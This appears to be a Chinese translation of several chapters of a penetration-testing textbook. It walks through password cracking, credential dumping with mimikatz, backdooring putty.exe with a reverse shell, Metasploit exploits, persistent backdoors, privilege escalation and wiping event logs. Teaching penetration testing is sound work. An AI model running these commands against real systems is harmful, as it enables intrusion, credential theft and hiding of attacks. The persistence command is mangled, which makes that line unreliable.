保护网络设施-使用-NMAP-和-Nessus7-探索实用网络安全-三-

112 阅读1小时+

保护网络设施:使用 NMAP 和 Nessus7 探索实用网络安全(三)

原文:annas-archive.org/md5/7D3761650F2D50B30F8F36CD4CF5CB9C

译者:飞龙

协议:CC BY-NC-SA 4.0

第十四章:获取网络访问

在这一章中,我们将深入了解如何利用各种技术和隐蔽通道获取对被入侵系统的访问权限。我们将学习获取对被入侵系统访问权限所需的各种技能,包括密码破解、生成后门和使用欺骗性社会工程技术。

我们将在本章中涵盖以下主题:

  • 获取远程访问

  • 破解密码

  • 使用后门工厂创建后门

  • 使用 Metasploit 利用远程服务

  • 使用 RouterSploit 黑客嵌入式设备

  • 使用 SET 进行社会工程

获取远程访问

到目前为止,在本书中,我们已经看到了各种技术和工具,可以用来收集有关目标的信息并枚举系统上运行的服务。我们还瞥见了使用 OpenVAS 进行漏洞评估的过程。在遵循了这些阶段之后,我们现在应该已经有足够的信息来实际上入侵系统并获取访问权限。

可以通过以下两种方式之一实现对远程系统的访问:

  • 直接访问

  • 路由器后面的目标

直接访问

在这种类型中,攻击者直接访问目标系统。攻击者基本上知道目标系统的 IP 地址并远程连接到它。攻击者然后利用目标系统上的现有漏洞来进一步获取访问权限。

路由器后面的目标

在这种情况下,目标机器位于启用了网络地址转换NAT)的路由器或防火墙后面。目标系统具有私有 IP 地址,并且不能直接通过互联网访问。攻击者只能到达路由器/防火墙的公共接口,但无法到达目标系统。在这种情况下,攻击者将不得不通过电子邮件或信使向受害者发送某种有效载荷,一旦受害者打开有效载荷,它将通过路由器/防火墙返回到攻击者的反向连接。

破解密码

密码是用于将用户认证到系统中的基本机制之一。在我们的信息收集和枚举阶段,我们可能会遇到目标上运行的各种受密码保护的服务,如 SSH、FTP 等。为了获取对这些服务的访问权限,我们将使用以下一些技术来破解密码:

  • 字典攻击:在字典攻击中,我们向密码破解器提供一个包含大量单词的文件。密码破解器然后尝试将提供的文件中的所有单词作为目标系统上的可能密码。如果匹配成功,我们将得到正确的密码。在 Kali Linux 中,有几个可以用于密码破解的字典。这些字典位于/usr/share/wordlists中,如下图所示:

  • 暴力破解攻击:如果密码不是我们提供的字典中的任何一个单词,那么我们可能需要发起一个暴力破解攻击。在暴力破解攻击中,我们首先指定最小长度、最大长度和自定义字符集。密码破解器然后尝试使用这个字符集中形成的所有排列和组合作为目标上的可能密码。然而,这个过程需要大量资源和时间。

  • 彩虹表:密码从不以纯文本格式存储在系统中。它始终使用某种算法进行哈希处理,以使其无法读取。彩虹表中包含给定字符集内密码的预先计算的哈希值。如果我们从目标系统获得密码哈希值,那么我们可以将它们输入到彩虹表中。彩虹表将尝试在其现有哈希表中寻找可能的匹配项。这种方法的速度比暴力破解要快得多,但需要大量的计算资源和存储空间来存储彩虹表。此外,如果密码哈希值与盐一起存储,彩虹表将被击败。

识别哈希

正如我们在前一节中学到的,密码从不以纯文本格式存储,而是始终使用某种算法进行哈希处理。为了破解密码哈希,我们首先必须确定使用了什么算法来对密码进行哈希处理。Kali Linux 有一个名为hash-identifier的工具,它以密码哈希作为输入,并告诉我们可能使用的哈希算法,如下图所示:

破解 Windows 密码

Windows 操作系统将密码存储在一个名为安全帐户管理器SAM)的文件中,使用的哈希算法类型是 LM 或 NTLM。

我们首先利用远程 Windows 系统中的 SMB 漏洞,并使用 Metasploit 获得 Meterpreter 访问,如下图所示。Meterpreter 有一个非常有用的实用程序称为mimikatz,可以用来从受损系统中转储哈希或甚至纯文本密码。我们使用命令load mimikatz来启动此工具。然后我们使用命令kerberos来显示纯文本凭据。我们得知用户shareuser的密码是admin。使用msv命令,我们还可以从受损系统中转储原始哈希。

密码分析

在前一节中,我们已经了解了字典攻击。在与组织的特定参与过程中,我们可能会确定所有密码都使用某种特定模式。因此,我们可能希望有一个与特定模式相匹配的单词列表。密码分析帮助我们生成与特定模式对齐的单词列表。

Kali Linux 有一个名为 crunch 的工具,可以帮助我们使用自定义模式生成单词列表。

crunch 3 5 0123456789abcdefghijklmnopqrstuvwxyz

上述语法将生成一个单词列表,其中单词的最小长度为3,最大长度为5,并包含来自字符集0123456789abcedefghijklmnopqrstuvwxyz的所有可能的排列和组合。有关更多帮助,我们可以使用man crunch命令参考 crunch 帮助,如下图所示:

使用 Hydra 进行密码破解

Hydra 是默认 Kali Linux 安装的一个非常强大和高效的密码破解工具。Hydra 能够破解各种协议的密码,如 FTP、SSH、HTTP 等。Hydra 可以从终端启动,如下图所示:

hydra -l user -P passlist.txt ftp://192.168.25.129

上述命令将对运行在 IP 地址192.168.25.129上的 FTP 服务器发起密码破解攻击,并尝试使用单词列表passlist.txt中的所有密码。

使用后门工厂创建后门

快速查看单词后门的词典含义给我们带来了通过间接或不诚实手段实现。在计算世界中,后门是隐藏的,用于秘密进入系统的东西。例如,如果我们从某个不知名的人那里得到一个普通的可执行文件,我们可能会感到怀疑。但是,如果我们得到一个看起来很真实的安装程序,我们可能会执行它。然而,该安装程序可能有一个隐藏的后门,可能会打开我们的系统给攻击者。

创建后门通常涉及使用我们的 shellcode 对真实的可执行文件进行修补。Kali Linux 有一个特殊的工具backdoor-factory,可以帮助我们创建后门。backdoor-factory可以从终端启动,如下图所示:

现在我们执行如下图所示的命令:

root@kali:~# backdoor-factory -f /root/Desktop/putty.exe -s reverse_shell_tcp_inline -H  192.168.25.128 -P 8080

这个命令将打开位于/root/Desktopputty.exe文件,将反向 TCP shell 注入可执行文件,并配置后门连接到 IP 地址192.168.25.128的端口8080

利用 Metasploit 利用远程服务

在我们继续利用远程目标系统上的服务之前,我们必须知道所有服务正在运行的情况以及它们的确切版本是什么。我们可以通过快速进行 Nmap 扫描来列出服务版本信息,如下图所示:

前面的结果显示有许多正在运行的服务,我们可以利用 Metasploit 进行攻击。

利用 vsftpd

通过 Nmap 扫描和枚举,我们得知我们的目标正在运行 FTP 服务器。服务器版本是 vsftpd 2.3.4,活动在端口21上。我们使用msfconsole命令打开 Metasploit 框架,然后搜索与 vsftp 匹配的任何漏洞,如下图所示。Metasploit 有一个vsftpd_234_backdoor漏洞,我们可以用来攻击目标。

我们选择 vsftp 漏洞,并将RHOST参数设置为目标的 IP 地址。然后我们运行漏洞,如下图所示。漏洞利用成功,并打开了一个命令 shell。使用whoami命令,我们可以知道我们已经获得了对目标的 root 访问权限。

利用 Tomcat

通过 Nmap 扫描和枚举,我们得知我们的目标正在运行 Apache Tomcat Web 服务器。它在端口8180上活动。我们可以通过浏览器在端口8180上击中目标 IP,并查看 Web 服务器的默认页面,如下图所示:

现在我们打开 Metasploit 控制台,并搜索与 Tomcat 服务器匹配的任何漏洞,如下图所示:

我们将使用tomcat_mgr_deploy漏洞,如下图所示。我们隐式选择java/meterpreter/reverse_tcp作为漏洞载荷,然后配置其他选项,如 RHOST、LHOST、默认用户名/密码和目标端口。

漏洞利用成功,并给我们一个 Meterpreter 会话。

使用 RouterSploit 黑客嵌入式设备

在前一节中,我们学习了如何有效地使用 Metasploit 来利用远程服务。目标主要是 Windows 和 Linux 操作系统。互联网连接设备的数量正在迅速增加。这些设备具有嵌入式固件,也容易受到攻击。

RouterSploit 是一个命令行工具,可用于攻击嵌入式设备。但它不是默认安装在 Kali Linux 中的一部分。我们可以使用apt-get install routersploit命令安装 RouterSploit。安装后,可以通过在终端中输入routersploit来启动它,如下图所示:

RouterSploit 具有与 Metasploit 控制台非常相似的界面。我们可以使用scanners/autopwn选项快速扫描目标设备,如下图所示。我们只需设置目标 IP 地址并运行扫描程序。

使用 SET 进行社会工程学

在本章的第一节中,我们看到了两种可能的利用场景。攻击者要么直接访问目标系统,要么目标系统在路由器/防火墙后面,攻击者只能达到路由器/防火墙的公共接口。

在第二种情况下,攻击者必须向受害者发送某种有效载荷,并诱使他执行有效载荷。一旦执行,它将建立一个反向连接返回给攻击者。这是一种隐秘的技术,涉及社会工程的使用。

Kali Linux 提供了一个执行各种社会工程攻击的优秀框架。社会工程工具包可以在“应用程序|利用工具|SET”中访问。

SET 的初始屏幕显示了与社会工程攻击相关的各种选项,如下图所示:

我们选择选项1)社会工程攻击,然后会出现一系列攻击,如下图所示:

SET 会自动启动 Metasploit 并开始监听。一旦我们的受害者下载并执行有效载荷,一个 Meterpreter 会话就会打开,如下图所示:

我们选择选项4)创建有效载荷和监听器,然后选择有效载荷Windows Shell Reverse_TCP。然后我们设置监听器的 IP 地址和端口,如下图所示:

总结

在本章中,我们介绍了各种工具和技术,用于获取对目标系统的访问权限,包括破解密码、创建后门、利用服务和发动社会工程攻击。

第十五章:评估网络应用安全

本章是关于学习网络应用安全的各个方面。我们将学习从安全角度评估网络应用的技能,并使用自动化和手动技术揭示潜在的缺陷。

我们将在本章中涵盖以下主题:

  • 网络应用安全测试的重要性

  • 应用程序配置文件

  • 常见的网络应用安全测试工具

  • 认证

  • 授权

  • 会话管理

  • 输入验证

  • 安全配置错误

  • 业务逻辑缺陷

  • 审计和日志记录

  • 密码学

  • 测试工具

网络应用安全测试的重要性

很久以前,组织通常部署和使用厚客户端。然而,现在,随着我们更多地向移动性和便捷访问转变,薄客户端(网络应用程序)需求量很高。一旦托管,同一个网络应用程序可以通过多个端点访问,如 PC、智能手机、平板电脑等。但这肯定增加了风险因素。即使网络应用程序中存在一个漏洞,也可能对整个组织产生毁灭性影响。此外,随着网络和基础设施安全的发展,网络应用程序成为入侵者获取组织内部访问权限的易目标。网络应用安全测试远不止是运行自动化扫描程序来发现漏洞。自动化扫描程序不会考虑程序方面,并且也会报告许多误报。

应用程序配置文件

企业组织可能拥有大量为服务各种业务目的而设计和构建的应用程序。这些应用程序可能是小型的或复杂的,并且可能使用各种技术构建。现在,当需要设计和实施企业范围的应用程序安全程序时,决定评估的优先级就变得非常关键。可能总共有 100 个应用程序;然而,由于资源有限,可能无法在特定时间内测试所有 100 个应用程序。这就是应用程序配置文件派上用场的时候。

应用程序配置文件包括将应用程序分类为高、中和低等不同关键性组别。一旦分类,就可以根据应用程序所属的组别决定评估优先级。帮助分类应用程序的一些因素如下:

  • 应用程序的类型是什么(厚客户端还是薄客户端还是移动应用)。

  • 访问方式是什么(互联网/内联网)。

  • 应用程序的用户是谁?

  • 使用该应用程序的用户数量大约是多少?

  • 应用程序是否包含任何业务敏感信息?

  • 应用程序是否包含任何个人可识别信息PII)?

  • 应用程序是否包含任何非公开信息NPI)?

  • 是否有与应用程序相关的任何监管要求?

  • 应用程序用户在应用程序不可用的情况下可以维持多长时间?

前述问题的答案可以帮助分类应用程序。应用程序分类也可以帮助有效评分漏洞。

常见的网络应用安全测试工具

进行网络应用安全测试有大量可用的工具。其中一些是免费/开源的,而另一些是商业可用的。以下表格列出了一些基本工具,可以有效地用于进行网络应用安全测试。这些工具中的大多数都是 Kali Linux 默认安装的一部分:

测试所需工具
信息收集Nikto,网页开发者插件,Wappalyzer
认证ZAP,Burp Suite
授权ZAP,Burp Suite
会话管理Burp Suite 网页开发者插件,OWASP CSRFTester,WebScarab
输入验证XSSMe,SQLMe,Paros,IBM AppScan,SQLMap,Burp Suite
配置错误Nikto
业务逻辑使用 ZAP 或 Burp Suite 进行手动测试
审计和日志记录手动评估
Web 服务WSDigger,IBM AppScan Web 服务扫描仪
加密哈希标识符,弱密码测试器

身份验证

身份验证是建立或确认某事(或某人)的真实性或真实性的行为。身份验证取决于一个或多个身份验证因素。测试身份验证模式意味着理解和可视化身份验证工作的整个过程,并利用这些信息来发现身份验证机制实施中的漏洞。破坏身份验证系统会使攻击者直接进入应用程序,使其进一步暴露于各种攻击。

接下来的部分描述了一些重要的身份验证测试。

通过安全通道的凭据

这确实是一个非常基本的检查。应用程序必须严格通过安全的 HTTPS 协议传输用户凭据和所有敏感数据。如果应用程序使用 HTTP 传输用户凭据和数据,那么它容易受到窃听。我们可以通过检查 URL 栏来快速检查网站是否使用 HTTP 或 HTTPS,如下面的截图所示:

此外,我们还可以检查证书详细信息以确保 HTTPS 实施,如下图所示:

身份验证错误消息

在应用程序登录页面上经常出现身份验证失败会显示不必要的信息。例如,用户输入错误的用户名和密码,然后应用程序抛出一个错误,说找不到用户名。这会显示给攻击者给定的用户是否属于应用程序。攻击者可以简单地编写一个脚本来检查 1,000 个用户的有效性。这种攻击称为用户枚举。因此建议身份验证失败消息应该是通用的,不应该透露用户名/密码是否错误。例如用户名/密码错误这样的通用消息并不能证明用户名是否属于应用程序。

密码策略

密码策略是与身份验证相关的一个微不足道的安全控制。密码通常容易受到字典攻击、暴力攻击和猜测密码攻击。如果应用程序允许设置弱密码,那么它们很容易被破坏。强密码策略通常具有以下条件:

  • 最小长度为 8

  • 必须至少包含 1 个小写字符、1 个大写字符、1 个数字和 1 个特殊字符。

  • 密码最小年龄

  • 密码最大年龄

  • 密码历史限制

  • 帐户锁定

重要的是要注意密码策略必须在客户端和服务器端都执行。

提交凭据的方法

GET 和 POST 是用于通过 HTTP/HTTPS 协议提交用户数据的两种方法。安全应用程序总是使用 POST 方法传输用户凭据和敏感用户数据。如果使用 GET 方法,则凭据/数据将成为公开可见的 URL 的一部分,并且很容易受到攻击。

以下图像显示了典型的登录请求和响应,并突出了 POST 方法的使用:

OWASP 映射

身份验证相关的漏洞是 OWASP Top 10 2017 的一部分。它们包括在 A2:2017 Broken Authentication 下。在这个类别下列出的一些漏洞如下:

  • 应用程序允许自动攻击,如凭据填充

  • 应用程序允许暴力攻击

  • 应用程序允许用户设置默认、弱或知名密码

  • 应用程序具有弱密码恢复过程

授权

一旦用户被验证,下一个任务就是授权用户以允许他/她访问数据。根据用户角色和权限,应用程序授予授权。要测试授权漏洞,我们需要来自应用程序中不同角色的有效凭据。使用一些初步工具,我们可以尝试绕过授权模式并使用普通用户的凭据访问超级用户帐户。

OWASP 映射

授权相关的漏洞是 OWASP 2017 年十大漏洞之一。它们包含在 A5:2017 破坏访问控制下。此类别下列出的一些漏洞如下:

  • 通过篡改 URL 绕过访问控制检查

  • 允许将主键更改为另一个用户的记录,并允许查看或编辑其他人的帐户

  • 提升权限

会话管理

会话管理是任何基于 Web 的应用程序的核心。它定义了应用程序如何维护状态,从而控制用户与站点的交互。会话在用户最初连接到站点时启动,并且预期在用户断开连接时结束。由于 HTTP 是一种无状态协议,会话需要由应用程序显式处理。通常使用唯一标识符,如会话 ID 或 cookie 来跟踪用户会话。

Cookie 检查

由于 cookie 是存储用户会话信息的重要对象,因此必须进行安全配置。下图显示了一个带有其属性的示例 cookie:

在上图中,最后三个参数从安全的角度来看是重要的。Expires 参数设置为 At end of session,这意味着 cookie 不是持久的,一旦用户注销就会被销毁。Secure 标志设置为 No,这是一个风险。站点应该实现 HTTPS,然后启用 Secure cookie 标志。HTTPOnly 标志设置为 Yes,这可以防止其他站点未经授权地访问 cookie。

跨站请求伪造

跨站请求伪造是针对 Web 应用程序的常见攻击,通常是由于弱会话管理而发生。在 CSRF 攻击中,攻击者向受害者发送一个特制的链接。当受害者点击攻击者发送的链接时,它会触发易受攻击的应用程序中的一些恶意操作。反 CSRF 或 CAPTCHA 是一些常见的防御措施。OWASP 有一个特殊的工具来测试应用程序是否容易受到 CSRF 攻击。它可以在www.owasp.org/index.php/File:CSRFTester-1.0.zip找到。

OWASP CSRF 测试工具捕获应用程序请求,然后生成 CSRF 概念验证,如下图所示:

OWASP 映射

会话管理相关的漏洞是 OWASP 2017 年十大漏洞之一。它们包含在 A2:2017 破坏身份验证下。此类别下列出的一些漏洞如下:

  • 生成的会话 ID 不是唯一的、随机的、复杂的,容易被猜测

  • 应用程序在 URL 或审计日志文件的一部分中暴露会话标识符

  • 应用程序容易受到重放攻击

  • 应用程序容易受到跨站请求伪造攻击

输入验证

不正确的输入验证是大多数 Web 应用程序中最常见和固有的缺陷之一。

这种弱点进一步导致 Web 应用程序中许多关键漏洞,如跨站脚本、SQL 注入、缓冲区溢出等。

大多数情况下,当应用程序被开发时,它会盲目接受所有传入的数据。然而从安全的角度来看,这是一种有害的做法,因为由于缺乏适当的验证,恶意数据也可能进入。

OWASP 映射

输入验证相关的漏洞是 OWASP Top 10 2017 的一部分。它们包括 A1:2017 注入,A4:2017-XML 外部实体(XXE),A7:2017-跨站脚本(XSS)和 A8:2017-不安全反序列化。此类别下列出的一些漏洞如下:

  • 应用程序未在客户端和服务器端验证输入。

  • 应用程序允许有害的黑名单字符(<>;’”!())。

  • 应用程序容易受到注入漏洞的攻击,如 SQL 注入、命令注入、LDAP(轻量级目录访问协议)注入等。

  • 应用程序容易受到跨站脚本攻击。下图显示了反射型跨站脚本攻击:

  • 应用程序容易受到缓冲区溢出的攻击。

安全配置错误

我们可能会花费大量精力来保护应用程序。然而,应用程序不能孤立运行。运行应用程序需要大量的支持组件,如 Web 服务器、数据库服务器等。如果应用程序与所有这些支持组件没有安全配置,将为潜在攻击者打开许多漏洞。因此,应用程序不仅应该安全地开发,还应该安全地部署和配置。

OWASP 映射

安全配置相关的漏洞是 OWASP Top 10 2017 的一部分。它们包括 A6:2017 安全配置错误。此类别下列出的一些漏洞如下:

  • 应用程序堆栈上未进行安全加固。

  • 启用或安装不必要或不需要的功能(例如端口、服务、管理页面、帐户或权限)。下图显示了默认的 Tomcat 页面,所有用户都可以访问:

  • 应用程序默认帐户处于活动状态,并使用默认密码。

  • 不当的错误处理会显示堆栈跟踪和内部应用程序信息,如下图所示:

  • 应用程序服务器、应用程序框架(例如 Struts、Spring、ASP.NET)、库、数据库等未进行安全配置。

  • 应用程序允许目录列表,如下图所示:

Nikto 是一个优秀的工具,用于扫描安全配置问题,如下图所示:

业务逻辑缺陷

业务逻辑是应用程序的核心,决定应用程序的预期行为。业务逻辑主要源自应用程序的目标/目的,并主要包含在应用程序的服务器端代码中。如果业务逻辑存在缺陷或不足,攻击者可能会严重滥用。自动化安全扫描工具实际上无法找到与业务逻辑相关的问题,因为它们无法像人类那样理解应用程序的上下文。因此,除了严格的验证外,还绝对需要无懈可击的业务逻辑,以构建安全的 Web 应用程序。

测试业务逻辑缺陷

如前所述,无法使用自动化工具全面测试与业务逻辑相关的缺陷。以下是一些测试业务逻辑的指导方针:

  • 与应用程序架构师、应用程序的业务用户和开发人员进行头脑风暴会议,了解应用程序的全部内容

  • 了解应用程序中的所有工作流程

  • 记录应用程序可能出错并产生较大影响的关键领域

  • 创建样本/原始数据,并尝试从普通用户和攻击者的角度探索应用程序

  • 制定攻击方案和逻辑测试,以测试特定业务逻辑

  • 创建全面的威胁模型

业务逻辑缺陷示例

考虑一个电子商务网站,销售电视机顶盒充值券。它连接到外部支付网关。现在用户在电子商务网站上选择充值金额,然后电子商务网站将用户转到支付网关进行付款。如果付款成功,支付网关将向电子商务网站返回一个成功标志,然后电子商务网站将在系统中实际发起用户请求的充值。现在假设攻击者选择购买价值 X 美元的充值,并前往支付网关,但在返回电子商务网站时,他篡改了 HTTP 请求,并将金额设置为 X+10 美元。在这种情况下,电子商务网站可能会接受该请求,认为用户实际支付了 X+10 美元而不是 X 美元。这是一个简单的业务逻辑缺陷,由于电子商务网站和支付网关之间的不正确同步而发生。两者之间的简单校验和机制可以防止这样的缺陷。

审计和日志记录

检查应用程序审计日志的完整性是应用程序安全评估中最重要的程序方面之一。审计日志被归类为侦探控制,在安全事件发生时非常有用。企业应用程序通常具有复杂的性质,并与其他系统(如数据库服务器、负载均衡器、缓存服务器等)相互连接。在发生违规行为时,审计日志在重建事件场景中起着最重要的作用。缺乏详细信息的审计日志将极大地限制事件调查。因此,必须仔细检查应用程序生成事件日志的能力,以找出任何适用的缺陷。

OWASP 映射

审计和日志记录相关的漏洞是 OWASP Top 10 2017 的一部分。它们包括 A10:2017 不足的日志记录和监控。此类别下列出的一些漏洞如下:

  • 应用程序未记录登录、登录失败和高价值交易等事件

  • 应用程序生成警告和错误,这是不足的

  • 应用程序和 API 日志未定期监控可疑活动

  • 未定义应用程序日志的备份策略

  • 应用程序无法实时或几乎实时地检测、升级或警报活动攻击

密码学

我们知道,加密有助于保持数据的机密性;它在 Web 应用程序安全中也扮演着重要的角色。在构建安全的 Web 应用程序时,必须同时考虑数据在静态状态下的加密数据在传输中的加密

OWASP 映射

与加密相关的漏洞是 OWASP Top 10 2017 的一部分。它们包括 A3:2017 敏感数据暴露。此类别下列出的一些漏洞如下:

  • 以明文传输数据的应用程序。这涉及到诸如 HTTP、SMTP 和 FTP 等协议。

  • 应用程序使用旧的或弱加密算法。

  • 应用程序使用默认加密密钥。

  • 应用程序未强制加密。

  • 应用程序在存储时未加密用户敏感信息。

  • 应用程序使用无效的 SSL 证书。

Qualys 提供了一个出色的在线工具,用于测试 SSL 证书。以下图片显示了 Qualys SSL 测试的样本结果,可以在www.ssllabs.com/ssltest/上访问:

网站的一些其他结果:

测试工具

在本章的前面,我们已经看到了一系列可以用于进行 Web 应用程序安全测试的各种工具。在本节中,我们将简要介绍其中两种工具。

OWASP ZAP

OWASP ZAP 是一个多功能工具,可以执行与应用程序安全测试相关的一系列任务。它也能够进行自动化扫描,并且在手动测试和模糊测试方面非常有效。OWASP ZAP 可以从www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project下载。

以下图片显示了初始的 OWASP ZAP 控制台。左窗格显示站点层次结构,右窗格显示单独的请求和响应,底窗格显示主动扫描:

我们可以首先爬取应用程序,也可以直接输入要攻击的 URL,如下图所示。我们可以在底部窗格中看到主动扫描,一旦完成,我们可以简单地点击“报告”菜单,然后选择生成 HTML 报告。

Burp Suite

BurpSuite 是一个非常灵活和强大的工具,用于进行 Web 应用程序安全测试。它可以免费下载,也有商业版本。Burp Suite 可以从portswigger.net/burp/communitydownload下载。

以下图片显示了初始的 Burp Suite 控制台:

BurpSuite 具有以下各种功能:

  • 代理:它充当拦截代理,并允许编辑所有应用程序请求。

  • 蜘蛛:它会自动爬取应用程序范围内的内容,并为进一步测试创建应用程序层次结构。

  • 扫描器:它在目标应用程序上运行预定义的安全测试,并生成漏洞报告。此功能仅在商业版本中可用。

  • 入侵者:这个功能可以有效地用于模糊应用程序中的各种输入字段。

  • 重复器:这可以用于多次发送特定请求并分析响应。

  • 解码器:这可以用于解码各种格式的内容,如 Base64 等。

  • 扩展器:这可以用于向 Burp Suite 添加额外的扩展。

总结

在本章中,我们学习了 Web 应用程序安全的各个方面,将它们与 Burp Suite OWASP 十大进行了映射,并简要介绍了可以用于进行 Web 应用程序安全测试的各种工具。

第十六章:权限升级

在上一章中,我们学习了有关 Web 应用程序安全的各个方面。在本章中,我们将讨论与权限升级相关的各种概念。我们将熟悉各种权限升级概念,以及在受损的 Windows 和 Linux 系统上提升权限的实际技术。

我们将在本章中涵盖以下主题:

  • 定义权限升级

  • 水平与垂直权限升级

  • Windows 上的权限升级

  • Linux 上的权限升级

什么是权限升级?

在我们深入讨论权限升级的任何技术细节之前,让我们首先对权限有一些基本的了解。单词privilege的字面字典意思是特权、优势或豁免,只授予或仅对特定人或团体可用。在计算世界中,权限是由操作系统管理的。在单个系统上可能有十个用户,但并非所有用户都具有相同级别的权限。根据安全最佳实践,通常遵循最小权限原则。这意味着每个用户只被分配绝对必要的最低权限来执行其任务。这个原则有助于消除滥用不必要的过多权限的可能性。

在安全评估的背景下,权限升级变得非常重要。假设您成功地利用了远程系统中的漏洞并获得了 SSH 访问权限。但是,由于您已经妥协的用户权限有限,您的操作受到了限制。现在,您肯定希望拥有最高级别的权限,以便您可以探索受损系统的各个方面。权限升级将普通用户的权限提升到具有最高权限的用户。完成后,您将完全控制受损的系统。

要了解权限如何工作的一些基础知识,以下图表显示了各种保护环:

这张图表显示了四个环:

  • 环 0:属于操作系统的内核,具有最高的权限。

  • 环 1 和环 2:主要由设备驱动程序使用,它们在操作系统和各种硬件设备之间进行接口。这些环具有很好的权限,但低于环 0

  • 环 3:大多数我们的最终应用程序运行的地方。它们拥有最低的权限。

因此,在权限升级的情况下,如果您想利用应用程序漏洞并访问环 3,那么您需要找到一种方法将权限提升到更高的环。在 Windows 环境中,具有最高权限的用户通常被称为管理员,而在 Linux 环境中,具有最高权限的用户被称为root

水平与垂直权限升级

正如我们在前一节中看到的,权限升级意味着获得未经授权的权限。权限升级可以是水平或垂直的两种类型之一。

水平权限升级

参考前面的图表;总共有四个用户:三个普通用户和一个管理员。用户按照其层次显示。现在,如果普通用户 1能够访问普通用户 2的数据,这将被称为水平权限升级,因为两个用户在层次结构中处于相同的级别。

垂直权限升级

关于前面的图表,如果普通用户 1能够访问数据并获得管理员的权限,这将被称为垂直权限升级。普通用户 1管理员在层次结构中处于不同的级别。

Windows 上的权限升级

正如我们在前一节中看到的,在 Windows 系统上,拥有最高特权的用户被称为管理员。一旦我们使用任何可用的利用程序来入侵系统,我们的目标应该是将用户特权提升到管理员级别。

下面的截图显示了对 Windows XP 目标利用ms08_067_netapi漏洞的过程。Metasploit 成功利用了漏洞,并提供了一个 meterpreter 会话,如下面的截图所示:

Meterpreter 为我们提供了提升特权的能力。getsystem命令专门用于提升已受损的 Windows 系统的特权。下面的截图显示了使用getsystem命令以获取目标系统上管理员级别特权的过程:

在 Linux 上的特权升级

在本节中,我们将看到如何利用 Linux 系统中的漏洞,然后提升我们的特权。我们将使用 Metasploitable 2 作为我们的目标。

在我们甚至考虑提升特权之前,我们必须至少具有对目标系统的普通级别访问权限。在这种情况下,我们的目标系统的 IP 地址是192.168.25.129。我们首先启动 SPARTA,以快速收集有关我们目标的一些信息。我们将目标 IP 添加到 SPARTA 扫描的范围内,如下面的截图所示:

一旦 SPARTA 扫描完成,我们就可以知道目标系统上运行着哪些服务。现在我们发现目标系统正在运行一个名为distccd的服务(如下面的截图所示),这是一个用于源代码编译的分布式计算应用程序:

现在我们知道要利用的服务,我们将打开 Metasploit 控制台,查找与distcc相关的任何利用程序。

我们得到一个名为distcc_exec的利用程序,在 Metasploit 中已经准备好。现在我们使用show options命令查找需要配置的参数。然后我们设置RHOST(目标)参数的值,并执行exploit命令:

利用成功,并为我们提供了一个远程命令 shell。但是,该 shell 的特权有限,现在我们需要提升特权到 root。使用uname命令,我们得知目标基于 Linux 内核 2.6.X。因此,我们需要找出适合该内核版本的特权提升利用程序。我们可以使用searchsploit实用程序搜索特定的利用程序。以下命令将列出我们需要的利用程序:

searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6 | grep 8572

现在我们可以在目标系统上使用wget命令下载利用程序,如下面的截图所示。下载后,我们使用以下命令在本地编译利用程序:

gcc -o exploit 8572.c 

在我们的 Kali Linux 系统上,我们使用以下命令在端口12345上启动 Netcat 监听器:

nc -lvp 12345

一旦在目标系统上执行了利用程序,我们就会在 Kali 系统上获得一个具有 root 权限的反向 shell,如下面的截图所示。因此,我们已成功将权限从普通用户提升为 root:

总结

在本章中,我们了解了特权在各种平台(如 Windows 和 Linux)上的重要性,以及在渗透测试期间提升特权的相关性。

第十七章:维持访问和清除痕迹

在上一章中,我们学习了特权升级概念以及实际的升级技术。

在本章中,我们将学习如何在被妥协的系统上保持访问并使用反取证技术清除痕迹。我们将学习如何在被妥协的系统上建立持久后门,并使用 Metasploit 的反取证能力来清除渗透痕迹。

在本章中,我们将涵盖以下主题:

  • 维持访问

  • 清除痕迹和路径

  • 反取证

维持访问

到目前为止,在本书中,我们已经看到了渗透测试的各个阶段。所有这些阶段都需要大量的时间和精力。假设你正在对一个目标进行渗透测试,并且已经努力通过 Metasploit 获得了远程系统访问。你希望在任务继续进行的几天内保持这种辛苦获得的访问。然而,在这段时间内,被妥协的系统是否会重新启动并没有保证。如果重新启动,你的访问将会丢失,你可能需要再次努力获得相同的访问权限。这正是我们希望在被妥协的系统中保持或持续访问的确切场景。

Metasploit 提供了一些出色的内置机制,可以帮助我们保持对被妥协系统的持久访问。第一步将是利用针对易受攻击的目标系统的合适漏洞,并获得 Meterpreter 访问,如下截图所示:

一旦利用成功,我们就可以获得对远程系统的 Meterpreter 访问。Metasploit 中的 Meterpreter 提供了一个名为persistence的实用程序,它可以帮助我们在受损系统上安装一个永久后门。我们可以使用run persistence -h命令了解更多关于persistence实用程序的信息:

现在我们执行persistence命令:

meterpreter >run persistenceAL c:\\ -X 60p 443r 192.168.25.130

这个命令将执行persistence脚本并启动一个匹配的处理程序(-A),将 Meterpreter 放在目标系统的c:\\位置(-L c:\\),系统启动时自动启动监听器(-X),每 60 秒检查一次连接(60),在端口443上连接(-p 443),并在 IP 地址192.168.25.130上回连到我们。

persistence脚本的执行输出如下:

现在persistence脚本已成功安装在目标系统上,我们不需要担心重新启动。即使目标系统重新启动,无论是故意还是意外,persistence脚本都会自动重新连接到我们,再次给我们 Meterpreter 访问权限。

清除痕迹和路径

渗透测试由一系列复杂的任务对目标系统执行而成。执行这些任务会以多种方式影响目标系统。多个配置文件可能会被修改,许多审计记录可能会被记录在日志文件中,对于 Windows 系统,注册表可能会发生变化。所有这些变化可能帮助调查人员或蓝队成员追溯攻击向量。

完成渗透测试后,清除所有在妥协过程中使用的残留文件是很好的。但是,这需要与蓝队达成一致。清除所有痕迹的另一个目的可能是测试组织的事后响应方法。然而,现实世界的攻击者可能会简单地利用这一点来掩盖他们的痕迹并保持不被发现。

Metasploit 具有一些帮助清除痕迹的能力。首先,我们需要利用一个漏洞并给予 Meterpreter 对目标的访问:

以下截图显示了我们目标系统上的应用程序事件日志:

以下截图显示了我们目标系统上的System事件日志:

现在我们已经给予 Meterpreter 对目标系统的访问权限,我们将使用getsystem命令将权限提升到管理员级别。Meterpreter 有一个名为clearev的实用程序,用于擦除目标系统上的审计记录。当我们执行clearev时,目标上的所有审计记录都被擦除:

以下截图显示,由于clearev擦除了应用程序事件日志,因此没有应用程序事件日志:

以下截图显示,由于clearev擦除了系统事件日志,因此没有系统事件日志:

同样,在具有 Linux 操作系统的目标上,我们可以做一些事情来清除我们的痕迹。Linux 终端维护命令历史记录,可以使用history命令查看:

